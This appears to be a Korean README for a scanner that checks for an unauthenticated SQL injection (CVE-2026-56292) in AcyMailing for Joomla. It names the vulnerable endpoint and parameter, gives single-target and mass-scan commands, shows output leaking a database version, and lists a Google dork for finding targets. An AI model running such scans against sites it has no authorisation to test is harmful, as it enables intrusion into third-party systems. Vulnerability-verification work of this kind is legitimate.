
CVE-2026-56292 - Joomla용 AcyMailing 비인증 SQL 인젝션 스캐너
저자: nullwhisper
승인된 보안 연구 / 취약점 검증 용도로만 사용하십시오.
AcyMailing for Joomla는 공개 프런트엔드 작업 frontentityselect::loadEntityFront를 노출합니다. 이전 버전에서는 columns 매개변수가 삭제(sanitization) 없이 SQL 쿼리에 직접 전달됩니다. 패치된 버전에서는 acym_secureDBColumn()을 사용하고 ... not secured와 같은 오류를 반환합니다.
index.php?option=com_acym&ctrl=frontentityselect&task=loadEntityFrontcolumns.
├── cve_2026_56292_acymailing_sqli.py # single + mass scanner
├── dorks.txt # google dorks
├── TECHNICAL.md # technical write-up
├── requirements.txt
├── LICENSE
└── README.md
pip3 install -r requirements.txt
단일 대상:
python3 cve_2026_56292_acymailing_sqli.py -u http://target/
대량 스캔:
python3 cve_2026_56292_acymailing_sqli.py -l targets.txt -v -T 30 -o vuln.txt
옵션:
-u URL single target
-l LIST target list file
-t TIMEOUT request timeout (default 30)
-T THREADS concurrent threads (default 10)
-o OUTPUT output file for vulnerable targets
-v verbose
--proxy PROXY http/https proxy
--patched-output FILE
--error-output FILE
로컬 Joomla 5 랩(취약 시뮬레이션 모드)의 AcyMailing v11.0.3 설치를 대상으로 테스트했습니다.
[*] Loaded 1 unique target(s)
[1/1] [+] VULNERABLE: http://127.0.0.1:8080/ -> version=10.11.18-MariaDB-ubu2204
[*] Done. Vulnerable: 1 | Patched: 0 | Error/Other: 0 | Total: 1
dorks.txt를 참조하세요. 주요 dork:
inurl:"index.php?option=com_acym"
이 도구는 승인된 보안 테스트 및 연구 전용입니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오. 작성자(nullwhisper)는 이 코드로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
MIT — LICENSE를 참조하세요.